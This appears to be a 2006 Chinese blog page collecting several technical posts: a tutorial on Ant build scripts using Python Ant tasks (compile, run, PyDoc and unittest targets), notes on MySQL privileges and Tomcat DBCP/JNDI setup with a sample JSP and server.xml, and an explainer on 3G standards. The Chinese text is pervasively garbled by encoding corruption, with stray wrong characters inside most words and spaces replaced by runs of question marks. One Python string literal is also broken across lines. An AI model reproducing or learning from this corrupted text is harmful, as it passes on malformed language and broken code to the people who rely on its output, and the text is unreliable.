    Ant 用 XML 作為描述構(gòu)建的格式。build 文件組織為需要執(zhí)行的目標(biāo)。每一個(gè)目標(biāo)都可能依賴于其他的目標(biāo)。Ant 將根據(jù)您所請(qǐng)求執(zhí)行的目標(biāo),以及一組依賴目標(biāo),來執(zhí)行任何需要的目標(biāo)。每一個(gè)目標(biāo)都可能包含任意數(shù)量的 Ant 任務(wù),而由 Ant 任務(wù)實(shí)際執(zhí)行目標(biāo)的工作。Ant 有很多內(nèi)置的任務(wù),可以完成諸如編譯 Java 代碼、生成文檔、操縱文件和目錄,同時(shí)第三方又提供了很多附加的任務(wù)。

    安裝 Python Ant 庫
    我將通過為 feedparser 項(xiàng)目創(chuàng)建構(gòu)建腳本來介紹 Ant 構(gòu)建腳本和 Python Ant 任務(wù)的基礎(chǔ)知識(shí)。為了使用 Python Ant 任務(wù),您需要下載并安裝包含這些任務(wù)的 Java 庫。首先,從 參考資料 一節(jié)中列出的 URL 中下載 Python Ant 任務(wù)庫(pyAntTasks.jar)。然后,將 JAR 文件拷貝到 Eclipse 的 Ant 插件下的 lib 目錄中。這應(yīng)該是 Eclipse 安裝目錄下形如 plugins/org.apache.ant_1.5.3 的子目錄。

    Python Ant 任務(wù)庫拷貝完畢之后,必須在 Eclipse 中啟用庫。選擇 Window > Preferences,然后選擇 Ant > Runtime。將 Ant Home Entries 展開,其中可看到 Eclipse 使用的庫(JAR 文件)列表。選擇“ Add JAR”,然后從 Eclipse Ant 插件的 lib 目錄中選擇 Python Ant JAR 文件,就可以將剛剛拷貝的 Python Ant JAR 文件加入庫列表中(請(qǐng)參閱圖 8)。

    圖 8. 向 classpath 中加入 Python Ant 任務(wù)

    您現(xiàn)在應(yīng)該能夠創(chuàng)建和運(yùn)行包含 Python 任務(wù)的 Ant 構(gòu)建腳本了。下面進(jìn)入構(gòu)建腳本內(nèi)部!

    創(chuàng)建構(gòu)建腳本
    我將逐步介紹如何創(chuàng)建一個(gè)簡單的 Python 構(gòu)建腳本(請(qǐng)參閱清單 1)。完整的構(gòu)建腳本 build.xml 可從 feedParserTest 項(xiàng)目的頂層目錄中找到。

    清單 1. 用于編譯 Python 源代碼的構(gòu)建腳本片斷
    																												
    
    <project name="feedParserTest" default="compile">
    
      <taskdef resource="pyAntTasks.properties"/>
    
      <property name="src.dir" value="src"/>
    
      <target name="compile">
        <py-compile dir="${src.dir}" pythonpath="${src.dir}" optimize="0"/>
      </target>
    
    </project>
    
    																										

    先介紹一個(gè)只編譯 Python 樣例代碼的構(gòu)建腳本。<project> 標(biāo)簽總是構(gòu)建腳本的根標(biāo)簽。<taskdef> 標(biāo)簽聲明在整個(gè)構(gòu)建腳本中使用的 Python 任務(wù)。在構(gòu)建腳本的底部,可以定義 compile 目標(biāo)。目標(biāo)元素內(nèi)部是 compile 運(yùn)行期間執(zhí)行的任務(wù)。特別的是 py-compile 任務(wù),它負(fù)責(zé)從 src 目錄開始,編譯所有的 Python 代碼。該任務(wù)會(huì)遞歸遍歷所有的子目錄,并編譯所有的 Python 模塊。腳本中沒有采用將 src 目錄硬編碼到調(diào)用之處的方式,而是在構(gòu)建腳本中定義了稱為 src.dir 的屬性。然后,在需要使用這個(gè)目錄名的時(shí)候,就可以通過 ${src.dir} 來引用。

    要運(yùn)行構(gòu)建腳本,可從 Eclipse 中打開它。Eclipse 具有內(nèi)置的 Ant 構(gòu)建腳本編輯和瀏覽功能。Outline 視圖可以顯示出構(gòu)建腳本的結(jié)構(gòu)。在 Navigator 視圖中,選擇該構(gòu)建腳本,用右鍵點(diǎn)擊,然后選擇“Run Ant...”。選擇 compile 目標(biāo),然后點(diǎn)擊“Run”。構(gòu)建腳本執(zhí)行過程中的輸出信息應(yīng)該顯示在 Console 視圖中,表示運(yùn)行成功。

    Python 腳本執(zhí)行任務(wù)
    接下來將向構(gòu)建腳本中加入新的目標(biāo),用于執(zhí)行 Python 腳本(請(qǐng)參閱清單 2)。在本例中,可以將 RSS URL 作為參數(shù)來執(zhí)行 feedparser.py 腳本。

    清單 2. 運(yùn)行 feedparser 腳本的構(gòu)建腳本片斷
    																												
      <target name="run.feedparser" depends="compile">
        <py-run script="src/feedparser/feedparser.py" pythonpath="${src.dir}" optimize="0">
          <arg value="http://www.ibm.com/developerworks/news/dw_dwtp.rss">
        </py-run>
      </target>
    
    
    																										

    上面的目標(biāo)以 RSS URL 為唯一的參數(shù)來執(zhí)行 feedparser.py 腳本。該目標(biāo)聲明為依賴于 compile 目標(biāo),所以后者將首先執(zhí)行。實(shí)際上這一步并不是很必要,因?yàn)?Python 會(huì)根據(jù)需要自動(dòng)編譯源代碼。如果您執(zhí)行 run.feedparser 目標(biāo),就會(huì)運(yùn)行 feedparser.py 腳本,同時(shí)將 RSS 的內(nèi)容輸出到 Console 中。

    Python 文檔任務(wù)
    Python 的 API 文檔編制機(jī)制與 Java 技術(shù)中的 JavaDoc 系統(tǒng)類似,稱為 PyDoc。在構(gòu)建腳本中加入清單 3 中列出的如下 XML 片斷,可為所有的 Python 模塊生成 PyDoc。

    清單 3. 用于生成 PyDoc 的構(gòu)建腳本片斷
    																												
    
     1:  <property name="pydoc.dir" value="pydoc"/>
     2:
     3:  <target name="init">
     4:    <mkdir dir="${pydoc.dir}"/>
     5:  </target>
     6:
     7:  <target name="pydoc" depends="init,compile">
     8:    <py-doc pythonpath="${src.dir}" destdir="${pydoc.dir}">
     9:      <fileset dir="${src.dir}">
    10:        <include name="**/*"/>
    11:      </fileset>
    12:    </py-doc>
    13:  </target>
    
    
    																										

    從對(duì)上述 pydoc 目標(biāo)的解析可看出,第 7 行聲明了目標(biāo)名稱,并指出它依賴于 initcompile 目標(biāo)。這意味著在運(yùn)行 pydoc 目標(biāo)之前,Ant 必須保證 initcompile 目標(biāo)已經(jīng)運(yùn)行,如果沒有,則首先運(yùn)行這兩個(gè)目標(biāo)。

    pydoc 目標(biāo)所依賴的 init 目標(biāo)在第 3 至第 5 行定義。 init 目標(biāo)僅僅創(chuàng)建了一個(gè)存放 PyDoc API 文檔文件的目錄。如前所述,要為所生成文檔的保存位置定義一個(gè)屬性,名為 pydoc.dir。

    第 8 行開始是 py-doc 任務(wù)。如前所述,您傳入生成 pydoc 過程中所使用的 PYTHONPATH 。 destdir 屬性告訴 py-doc 任務(wù)將生成的 HTML 文檔輸出到何處。

    第 9 至第 11 行定義了在生成文檔的過程中應(yīng)該處理哪些 Python 源文件。文件集是 Ant 腳本中通用的結(jié)構(gòu),可用于定義所操作的一組文件。這是一種很強(qiáng)大的特性,它使您能夠通過名字模式、布爾邏輯和文件屬性來選擇所要操作的文件。Ant 文檔中有這方面的完整描述。本例中遞歸選擇了“src”目錄下的所有文件。

    Python 單元測試任務(wù)
    Python 中具有標(biāo)準(zhǔn)的單元測試框架(從 Python 2.3 開始。在 Python 2.2 中這只是可選模塊),與 Java jUnit 框架十分類似。測試用例的結(jié)構(gòu)與 jUnit 采用相同的方式。每一個(gè)待測試的類和模塊通常都具有自己的測試類。測試類中包含測試裝置(fixture),它們在 setUp 函數(shù)中初始化。每一個(gè)測試都編寫為測試類中的一個(gè)獨(dú)立的測試函數(shù)。unittest 框架會(huì)在測試函數(shù)之間循環(huán)往復(fù),先調(diào)用 setUp 、再測試函數(shù)、然后清除( tearDown )測試函數(shù)。請(qǐng)參閱清單 4 中的樣例。

    清單 4. Python 單元測試模塊
    																												
    import unittest
    from pprint import pprint
    
    import feedparser
    
    class FeedparserTest(unittest.TestCase):
        """
        A test class for the feedparser module.
        """
        
        def setUp(self):
            """
            set up data used in the tests.
            setUp is called before each test function execution.
            """
            self.developerWorksUrl = "testData/developerworks.rss"       
    
        def testParse09Rss(self):
            """
            Test a successful run of the parse function for a
            0.91 RSS feed.
            """
            print "FeedparserTest.testParse09RSS()"
            
            result = feedparser.parse(self.developerWorksUrl)
            pprint(result)
    
            self.assertEqual(0, result['bozo'])
            
            self.assert_(result is not None)
            channel = result['channel']
            self.assert_(channel is not None)
            chanDesc = channel['description']
            self.assertEqual(u'The latest content from IBM developerWorks',
                chanDesc)
            
            items = result['items']
            self.assert_(items is not None)
            self.assert_(len(items)> 3)
            firstItem = items[0]
            title = firstItem['title']
            self.assertEqual(u'Build installation packages with 
                solution installation and deployment technologies',
                title)
      
        def tearDown(self):
            """
            tear down any data used in tests
            tearDown is called after each test function execution.
            """
            pass
                    
    if __name__ == '__main__':
        unittest.main()
    
    																										

    上述清單是實(shí)現(xiàn) feedparser 模塊基本測試功能的測試類。完整的測試類見 feedParserTest 項(xiàng)目下的 src/feedparserTest/FeedparserTest.py。 setUp 函數(shù)負(fù)責(zé)準(zhǔn)備整個(gè)測試過程中需要使用的測試裝置,在本例中只有測試用的 RSS 文件的目錄,測試函數(shù)將對(duì)其進(jìn)行解析。 testParse09Rss 是真正的測試函數(shù)。這個(gè)函數(shù)調(diào)用 feedparser.parse 函數(shù),傳遞測試用的 RSS 文件,輸出解析結(jié)果,并通過 TestCase 類的 assert 函數(shù)執(zhí)行基本的檢查統(tǒng)作。如果任何 assert 的求值結(jié)果不是真,或是在執(zhí)行過程中拋出任何異常,unittest 就會(huì)報(bào)告一次測試失敗或錯(cuò)誤。最后的兩行負(fù)責(zé)在這個(gè)測試類內(nèi)部運(yùn)行測試,方法是直接運(yùn)行該模塊即可。

    要獨(dú)立運(yùn)行該測試類,可以按前面所說的相同方式運(yùn)行 FeedparserTest.py 模塊。在 Eclipse Navigator 視圖中選擇 FeedparserTest.py,然后通過 Python > Run 運(yùn)行。此時(shí)顯示啟動(dòng)配置窗口。除 Base 目錄之外,其他都保持缺省值即可。Base 目錄必須是 feedParserTest 項(xiàng)目的目錄,這樣才能在當(dāng)前目錄下找到 RSS 文件(testData/developerworks.rss)。修改 base 目錄的設(shè)置,然后點(diǎn)擊“Run”。輸出信息顯示在 Console 上。

    您也許希望我們編寫的所有單元測試都能夠作為構(gòu)建的一部分自動(dòng)執(zhí)行。將下面清單 5 所示的構(gòu)建片斷加入構(gòu)建腳本便可實(shí)現(xiàn)。

    清單 5. 執(zhí)行單元測試的構(gòu)建腳本片斷
    																												
    1:  <target name="tests" depends="compile">
    2:	<py-test pythonpath="${src.dir}" dir=".">
    3:  	  <fileset dir="${src.dir}">
    4:		<include name="**/*Test.py"/>
    5:	  </fileset>
    6:  	</py-test>
    7:  </target> 
    
    
    																										

    第一行是目標(biāo)聲明,這與其他的腳本相同。第 2 至第 6 行調(diào)用 py-test 任務(wù)。這部分代碼將在“src”目錄下查找所有以“Test.py”結(jié)尾的所有文件,并運(yùn)行所有測試。 PYTHONPATH 設(shè)置為“src”,測試執(zhí)行的當(dāng)前工作目錄就是當(dāng)前目錄(‘.’)。

    運(yùn)行目標(biāo)的方法是先運(yùn)行構(gòu)建腳本,再選擇執(zhí)行“tests”目標(biāo)。該目標(biāo)將運(yùn)行所有以“Test.py”結(jié)尾的測試用例,本例中僅有 FeadparserTest.py。

    結(jié)束語
    Eclipse 和 PyDev 插件的結(jié)合,以及 Apache Ant 與 Python Ant 任務(wù)一起使用,可以為 Python 開發(fā)提供完全集成的開發(fā)環(huán)境和構(gòu)建/部署工具。這些工具尚在開發(fā)過程中,因此要經(jīng)常查看是否有更新,如果您覺得特別希望看到某種特性,可以卷起袖管自力更生。

    參考資料

    關(guān)于作者
    Ron Smith 是 RPS Technologies, Inc 的創(chuàng)始人。這是一家軟件開發(fā)與軟件顧問公司,總部位于芝加哥地區(qū)。Ron Smith 為客戶提供基于 J2EE 的企業(yè)應(yīng)用程序發(fā)方面的咨詢,同時(shí)也在 RPS Technologies 內(nèi)部開發(fā)軟件產(chǎn)品。可以通過 ron.smith@rpstechnologies.net與 Ron 聯(lián)系。
    posted @ 2006-03-25 20:27 MEYE 閱讀(650) | 評(píng)論 (0)編輯 收藏

    http://python.cn ??????? Python 中文社區(qū)

    http://wiki.woodpecker.org.cn/ 啄木鳥社區(qū),國內(nèi)最活躍的 Python 人的聚集地

    posted @ 2006-03-25 20:16 MEYE 閱讀(347) | 評(píng)論 (0)編輯 收藏
    Tomcat&mysql

    SQL

    ??????? mysqlshow?? 數(shù)據(jù)庫結(jié)構(gòu)查詢
    ??????? mysqlaccess 用戶權(quán)限查詢
    ??????? mysqladmin? 超級(jí)用戶管理工具
    ??????? mysqldump?????? dump工具
    ??????? isamchk???????? 檢查,優(yōu)化,修補(bǔ)數(shù)據(jù)工具
    ??????? mysqlimport 從txt文件輸入數(shù)據(jù)庫
    ??????? mysql_install_db??????? 系統(tǒng)數(shù)據(jù)庫安裝腳本
    ??????? mysqld????????? 守護(hù)進(jìn)程???????????????
    ??????? safe_mysqld???? 啟動(dòng)腳本
    ???????
    ??????? 1.未在db表中列出的任意數(shù)據(jù)庫,user表中的權(quán)限都為有效.
    ??????? 可只在user表中設(shè)置某些superuser的權(quán)限,而在db表中不涉及.
    ??????? 2.host只用來維護(hù)有效的server,缺省為空表,即為局域網(wǎng)內(nèi)
    ??????? 的所有機(jī)器.
    ??????? 3.可用mysql -u root mysql命令修改權(quán)限.
    ??????? 4.權(quán)限匹配時(shí)遵循的原則是:
    ??????????????? a. 表順序: host -> db -> user;
    ??????????????? b. host和db域可有通配符%和_,表示所有和單個(gè)字符;
    ??????????????? c. 同一表中,也是 host->db->user域的順序,無通配符優(yōu)
    ??????????????? 于有通配符;
    ??????????????? d. user域?yàn)榭?''),表示匹配所有其他的用戶;
    ??????????????? e. host可為機(jī)器名,localhost,IP,或通配符(如192.10.10.%),
    ??????????????????????? 但不允許用數(shù)字和點(diǎn)號(hào)開頭(如123.321.1.edu.cn);
    ??????????????? f. 各表中的權(quán)限最后相"或";
    ??????? 5.修改完之后,執(zhí)行mysqladmin -u root reload更新.?
    ????????
    ???????
    Tomcat配置
    如果出現(xiàn)
    Unable to find a javac compiler;
    com.sun.tools.javac.Main is not on the classpath.
    Perhaps JAVA_HOME does not point to the JDK
    ...
    Tomcat ClassPath配置如下:
    C:\Program Files\Apache Software Foundation\Tomcat 5.0\bin\bootstrap.jar;C:\Program Files\Java\jdk1.5.0\lib\tools.jar


    MySQL配置
    c:\mysql\bin>mysqld     //啟動(dòng)mysql的服務(wù)進(jìn)程
    c:\mysql\bin\mysql -uroot? //連接到mysql數(shù)據(jù)庫
      mysql>update user set password=PASSWORD('<new_root_password>') where user='root';
      mysql>flush privileges;
      上面的操作是修改root用戶的密碼,'<new_root_password>'是你設(shè)置的密碼。

      mysql>create database gamedb;     //創(chuàng)建gamedb庫
      mysql>connect gamedb;        ? //連接到gamedb庫
      mysql>source gamedb.sql; ???????????? //gamedb初始化建表
    ??? mysql>GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER,
    ??????????????? CREATE, DROP, REFERENCES, LOCK TABLES,
    ??????????????? CREATE TEMPORARY TABLES
    ??????????????? ON gamedb.* TO gamedb@localhost IDENTIFIED BY '<gamedb_password>';
      mysql>flush privileges;
      上面是建立gamedb用戶,<gamedb_password>為gamedb用戶的密碼。

      mysql>exit;   //退出

    ?

    下載MySQL JDBC
    Connector/J 3.0.15-ga (MySQL.com提供的JDBC Driver)
    下載地址:http://dev.mysql.com/downloads/connector/j/3.0.html


    安裝JDBC
    mysql-connector-java-3.0.15-ga.zip解壓后將mysql-connector-java-3.0.15-ga-bin.jar 復(fù)制到%TOMCAT_HOME%\common\lib下


    配置Tomcat
    假設(shè):數(shù)據(jù)庫:gamedb 用戶名:gamedb 密碼:gamedb

    第一步: http://127.0.0.1:8080,進(jìn)入tomcat頁,用tomcat的 Tomcat Administration--->Resources--->Data Sources頁面添加,參數(shù)如下:

    JNDI Name:???????? jdbc/mysql
    Data Source URL:?? jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&useUnicode=true&characterEncoding=GB2312
    JDBC Driver Class: com.mysql.jdbc.Driver
    User Name:???????? gamedb
    Password:????????? gamedb
    Max. Active Connections: 4
    Max. Idle Connections:?? 2
    Max. Wait for Connection:5000
    Validation Query ://不添


    第二步: 試頁內(nèi)加入代碼你自己在mysql里建個(gè)表檢單測試一下吧,我這里以ght_users表為例,在你的應(yīng)用下做一個(gè)測試用的test.jsp,然后http訪問這個(gè)jsp頁,test.jsp代碼如下

    <%@ page contentType = "text/html; charset=gb2312" %>
    <%@ page import = "java.sql.*" %>
    <%@ page import = "javax.naming.*" %>
    <%@ page import = "javax.sql.*" %>
    <%
    Context ctx=null;
    DataSource ds=null;
    Connection conn=null;
    Statement stmt=null;
    ResultSet rs=null;

    try{
    ?ctx = new InitialContext();
    ?if( ctx == null )
    ??out.println("no context");
    ?ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mysql");
    ?if( ds == null )
    ??out.println("no datasource");
    ?conn = ds.getConnection();
    ?stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
    ??ResultSet.CONCUR_READ_ONLY);
    ?String strSql = " select * from ght_users";
    ?rs = stmt.executeQuery(strSql);
    ?while(rs.next()){
    ??out.println(rs.getString(1));
    ?}
    }
    catch(Exception ex){
    ?ex.printStackTrace();
    ?out.println(ex.toString());
    }
    finally{
    ?if( rs != null )
    ??rs.close();
    ?if( stmt != null )
    ??stmt.close();
    ?if( conn != null)
    ??conn.close();
    ?if( ctx != null )
    ??ctx.close();
    }
    %>

    ?

    常見問題
    Q:出現(xiàn)javax.naming.NameNotFoundException: Name jdbc is not bound in this Context
    A: 在yourWebApp\WEB-INF\web.xml中增加
    ??? <resource-ref>
    ??????? <description>jdbc/mysql</description>
    ??????? <res-ref-name>jdbc/mysql</res-ref-name>
    ??????? <res-type>javax.sql.DataSource</res-type>
    ??????? <res-auth>Container</res-auth>
    ??? </resource-ref>

    Q:出現(xiàn)org.apache.commons.dbcp.SQLNestedException: Cannot create JDBC driver of class '?' for onnect URL 'null',這是為什么?

    A: 在%TOMCAT_HOME%\conf\Catalina\localhost下找到你的web應(yīng)用對(duì)應(yīng)的.xml文件,如test.xml,并在此文件的下添入代碼:
    <ResourceLink name="jdbc/mysql" global="jdbc/mysql" type="javax.sql.DataSourcer"/>

    重啟tomcat。
    注意:

    for tomcat-5.0.18
    i use ROOT in tomcat as by web app i put the following entry in E:\jakarta-tomcat-5.0.18\conf\Catalina\localhost\ROOT.xml file
    for tomcat-4.1.18
    i use ROOT in tomcat as my webapp i put the following entry in E:\qrules\tomcat\jakarta-tomcat-4.1.18\conf\server.xml

    <ResourceLink name="jdbc/quickstart" type="javax.sql.DataSource" global="jdbc/quickstart"/>

    Web界面配DBCP時(shí),生成的是服務(wù)器的全局JNDI資源,查看%TOMCAT_HOME%\conf\server.xml可以得知tomcat修改了server.xml,在<server>下的<GlobalNamingResources>下添入了一些數(shù)據(jù)后的server.xml:


    <?xml version='1.0' encoding='utf-8'?>
    <Server>
    ? <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener"/>
    ? <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
    ? <GlobalNamingResources>
    ??? <Environment name="simpleValue" type="java.lang.Integer" value="30"/>
    ??? <Resource auth="Container" description="User database that can be updated and saved" name="UserDatabase" type="org.apache.catalina.UserDatabase"/>
    ??? <Resource name="jdbc/mysql" type="javax.sql.DataSource"/>
    ??? <ResourceParams name="UserDatabase">
    ????? <parameter>
    ??????? <name>factory</name>
    ??????? <value>org.apache.catalina.users.MemoryUserDatabaseFactory</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>pathname</name>
    ??????? <value>conf/tomcat-users.xml</value>
    ????? </parameter>
    ??? </ResourceParams>
    ??? <ResourceParams name="jdbc/mysql">
    ????? <parameter>
    ??????? <name>maxWait</name>
    ??????? <value>5000</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>maxActive</name>
    ??????? <value>4</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>password</name>
    ??????? <value>gamedb</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>url</name>
    ??????? <value>jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&amp;useUnicode=true&amp;characterEncoding=GB2312</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>driverClassName</name>
    ??????? <value>com.mysql.jdbc.Driver</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>maxIdle</name>
    ??????? <value>2</value>
    ????? </parameter>
    ????? <parameter>
    ??????? <name>username</name>
    ??????? <value>gamedb</value>
    ????? </parameter>
    ?? <parameter>
    ???? <name>factory</name>
    ???? <value>org.apache.commons.dbcp.BasicDataSourceFactory</value>
    ?? </parameter>
    ??? </ResourceParams>
    ? </GlobalNamingResources>
    ? <Service name="Catalina">
    ??? <Connector acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" port="8080" redirectPort="8443" maxSpareThreads="75" maxThreads="150" minSpareThreads="25">
    ??? </Connector>
    ??? <Connector port="8009" protocol="AJP/1.3" protocolHandlerClassName="org.apache.jk.server.JkCoyoteHandler" redirectPort="8443">
    ??? </Connector>
    ??? <Engine defaultHost="localhost" name="Catalina">
    ????? <Host appBase="webapps" name="localhost">
    ??????? <Logger className="org.apache.catalina.logger.FileLogger" prefix="localhost_log." suffix=".txt" timestamp="true"/>
    ????? </Host>
    ????? <Logger className="org.apache.catalina.logger.FileLogger" prefix="catalina_log." suffix=".txt" timestamp="true"/>
    ????? <Realm className="org.apache.catalina.realm.UserDatabaseRealm"/>
    ??? </Engine>
    ? </Service>
    </Server>

    ?

    Q:如何配制DBCP只應(yīng)用于指定的web application呢?

    A:tomcat 5.x以后將web application的從server.xml里分離了出來,放在了 %TOMCAT_HOME%\conf\Catalina\localhost下,如你的應(yīng)用為test, 那么在這個(gè)目錄下就會(huì)有一個(gè)相應(yīng)的test.xml與之對(duì)應(yīng),如:

    <?xml version='1.0' encoding='utf-8'?>
    <Context displayName="Tomcat Test Application"
    ? docBase="C:/Program Files/Apache Software Foundation/Tomcat 5.5/server/webapps/test" path="/test" privileged="true" workDir="work\Catalina\localhost\test">
    ? ...
    </Context>

    ?

    Q:我如何解決中亂碼問題?

    A:在配制mysql的數(shù)據(jù)庫url時(shí)我們加入了useUnicode=true&characterEncoding=GB2312參數(shù),指定數(shù)據(jù)庫編碼方式為GB2312,其它還需要做的就是常用的一些方式,如指定 <%@ page contentType = "text/html; charset=gb2312" %>、使用filter等,這方面的資料很多,這里不再累述。

    這里需要注意的是url中的“&“符號(hào),如果手動(dòng)在.xml內(nèi)配制時(shí),需將其轉(zhuǎn)換為“&”

    posted @ 2006-03-25 20:13 MEYE 閱讀(552) | 評(píng)論 (0)編輯 收藏
    什么是3G?

    日期 2006-3-19 22:56:00

    什么是3G

    ?
    ????3g是英文3rd?generation的縮寫,指第三代移動(dòng)通信技術(shù)。比起第一代的模擬手機(jī)和目前大家所使用的第二代數(shù)字手機(jī)(包括現(xiàn)在的gsm和cdma),基于第三代移動(dòng)通信技術(shù)基礎(chǔ)上的手機(jī),將和以前的手機(jī)有著天壤之別。3g手機(jī)是指將結(jié)合了無線通信與互聯(lián)網(wǎng)等多媒體通信的新一代移動(dòng)通信系統(tǒng),它能夠處理包括聲音、圖像、視頻流等多種媒體形式,提供包括網(wǎng)頁瀏覽、電話會(huì)議、電子商務(wù)等多種信息服務(wù),而且更為安全可靠。在不同的區(qū)域內(nèi),3g手機(jī)提供了不同的數(shù)據(jù)傳輸速度,在室內(nèi)、室外和行車的環(huán)境中能夠分別支持至少2mbps?(兆字節(jié)/每秒)、384kbps(千字節(jié)/每秒)以及144kbps的傳輸速度,而我們目前大多數(shù)人上互聯(lián)網(wǎng)所使用還是只56kbps?(千字節(jié)/每秒)的小“貓”。不言而喻,3g手機(jī)憑其與生俱來的高速傳輸率優(yōu)勢,龐大的信息容量使得它幾乎具備了寬帶互聯(lián)網(wǎng)的一切特性,必將帶給我們一個(gè)前所未有的移動(dòng)互聯(lián)空間。?
      目前在國際上3g技術(shù)標(biāo)準(zhǔn)分為3大流派:目前以歐洲廠商為代表的w-cdma標(biāo)準(zhǔn),它的支持者主要包括包括歐美的愛立信、阿爾卡特、諾基亞、朗訊、北電,以及日本的ntt、富士通、夏普等廠商;以美國高通為首的?cdma2000標(biāo)準(zhǔn),它的支持者主要有摩托羅拉、朗訊和后來加入的三星,韓國現(xiàn)在成為該標(biāo)準(zhǔn)的主導(dǎo)者;還有就是中國大唐電信提出的td-scdma標(biāo)準(zhǔn),它的主要支持者包括大唐電信、中國普天、南方高科、華立、華為、聯(lián)想、中興、中國電子在內(nèi)的本土廠商和西門子。
      3g是英文3rdgeneration的縮寫,指第三代移動(dòng)通信技術(shù)。相對(duì)第一代模擬制式手機(jī)(1g)和第二代gsm、tdma等數(shù)字手機(jī)(2g),第三代手機(jī)一般地講,是指將無線通信與國際互聯(lián)網(wǎng)等多媒體通信結(jié)合的新一代移動(dòng)通信系統(tǒng)。它能夠處理圖像、音樂、視頻流等多種媒體形式,提供包括網(wǎng)頁瀏覽、電話會(huì)議、電子商務(wù)等多種信息服務(wù)。為了提供這種服務(wù),無線網(wǎng)絡(luò)必須能夠支持不同的數(shù)據(jù)傳輸速度,也就是說在室內(nèi)、室外和行車的環(huán)境中能夠分別支持至少2mbps(兆字節(jié)/每秒??84kbps(千字節(jié)/每秒)以及144kbps的傳輸速度。

    3g的技術(shù)標(biāo)準(zhǔn)

      國際電信聯(lián)盟(itu)在2000年5月確定w?cdma、cdma2000和tds?cdma三大主流無線接口標(biāo)準(zhǔn),寫入3g技術(shù)指導(dǎo)性文件《2000年國際移動(dòng)通訊計(jì)劃》(簡稱imt?2000)。

    w?cdma

      即wideba_ndcdma,也稱為cdmadirectspread,意為寬頻分碼多重存取,其支持者主要是以gsm系統(tǒng)為主的歐洲廠商,日本公司也或多或少參與其中,包括歐美的愛立信、阿爾卡特、***、朗訊、北電,以及日本的ntt、富士通、夏普等廠商。這套系統(tǒng)能夠架設(shè)在現(xiàn)有的gsm網(wǎng)絡(luò)上,對(duì)于系統(tǒng)提供商而言可以較輕易地過渡,而gsm系統(tǒng)相當(dāng)普及的亞洲對(duì)這套新技術(shù)的接受度預(yù)料會(huì)相當(dāng)高。因此w?cdma具有先天的市場優(yōu)勢。

    cdma2000

      cdma2000也稱為cdmamulti?carrier,由美國高通北美公司為主導(dǎo)提出,摩托羅拉、lucent和后來加入的韓國***都有參與,韓國現(xiàn)在成為該標(biāo)準(zhǔn)的主導(dǎo)者。這套系統(tǒng)是從窄頻cdmaone數(shù)字標(biāo)準(zhǔn)衍生出來的,可以從原有的cdmaone結(jié)構(gòu)直接升級(jí)到3g,建設(shè)成本低廉。但目前使用cdma的地區(qū)只有日、韓和北美,所以cdma2000的支持者不如w?cdma多。不過cdma2000的研發(fā)技術(shù)卻是目前各標(biāo)準(zhǔn)中進(jìn)度最快的,許多3g手機(jī)已經(jīng)率先面世。

    td?scdma

      該標(biāo)準(zhǔn)是由中國大陸?yīng)氉灾贫ǖ?g標(biāo)準(zhǔn),1999年6月29日,中國原郵電部電信科學(xué)技術(shù)研究院(大唐電信)向itu提出。該標(biāo)準(zhǔn)將智能無線、同步cdma和軟件無線電等當(dāng)今國際領(lǐng)先技術(shù)融于其中,在頻譜利用率、對(duì)業(yè)務(wù)支持具有靈活性、頻率靈活性及成本等方面的獨(dú)特優(yōu)勢。另外,由于中國內(nèi)的龐大的市場,該標(biāo)準(zhǔn)受到各大主要電信設(shè)備廠商的重視,全球一半以上的設(shè)備廠商都宣布可以支持td?scdma標(biāo)準(zhǔn)。

    什么是2.5g

      目前已經(jīng)進(jìn)行商業(yè)應(yīng)用的2.5g移動(dòng)通信技術(shù)是從2g邁向3g的銜接性技術(shù),由于3g是個(gè)相當(dāng)浩大的工程,所牽扯的層面多且復(fù)雜,要從目前的2g邁向3g不可能一下就銜接得上,因此出現(xiàn)了介于2g和3g之間的2.5g。hscsd、wap、edge、藍(lán)牙(bluetooth)、epoc等技術(shù)都是2.5g技術(shù)。

    hscsd(高速電路交換數(shù)據(jù)服務(wù))

      這是gsm網(wǎng)絡(luò)的升級(jí)版本,hscsd(highspeedcircuitswitcheddata)能夠透過多重時(shí)分同時(shí)進(jìn)行傳輸,而不是只有單一時(shí)分而已,因此能夠?qū)鬏斔俣却蠓嵘狡匠5亩寥?。目前新加坡m1與新加坡電訊的移動(dòng)電話都采用hscsd系統(tǒng),其傳輸速度能夠達(dá)到57.6kbps。

    wap(無線應(yīng)用通訊協(xié)議)

      wap(wirelessapplicationprotocol)是移動(dòng)通信與互聯(lián)網(wǎng)結(jié)合的第一階段性產(chǎn)物。這項(xiàng)技術(shù)讓使用者可以用手機(jī)之類的無線裝置上網(wǎng),透過小型屏幕遨游在各個(gè)網(wǎng)站之間。而這些網(wǎng)站也必須以wml(無線標(biāo)記語言)編寫,相當(dāng)于國際互聯(lián)網(wǎng)上的html(超文件標(biāo)記語言)。

    bluetooth(藍(lán)牙)

      藍(lán)牙是一種短距的無線通訊技術(shù),電子裝置彼此可以透過藍(lán)牙而連接起來,傳統(tǒng)的電線在這里就毫無用武之地了。透過芯片上的無線接收器,配有藍(lán)牙技術(shù)的電子產(chǎn)品能夠在十公尺的距離內(nèi)彼此相通,傳輸速度可以達(dá)到每秒鐘1兆字節(jié)。以往紅外線接口的傳輸技術(shù)需要電子裝置在視線之內(nèi)的距離,而現(xiàn)在有了藍(lán)牙技術(shù),這樣的麻煩也可以免除了。

    3g何時(shí)到來

      日本移動(dòng)通訊巨人nttdocomo已于10月1日開通全球第一個(gè)3g服務(wù),該服務(wù)基于wcdma標(biāo)準(zhǔn)。

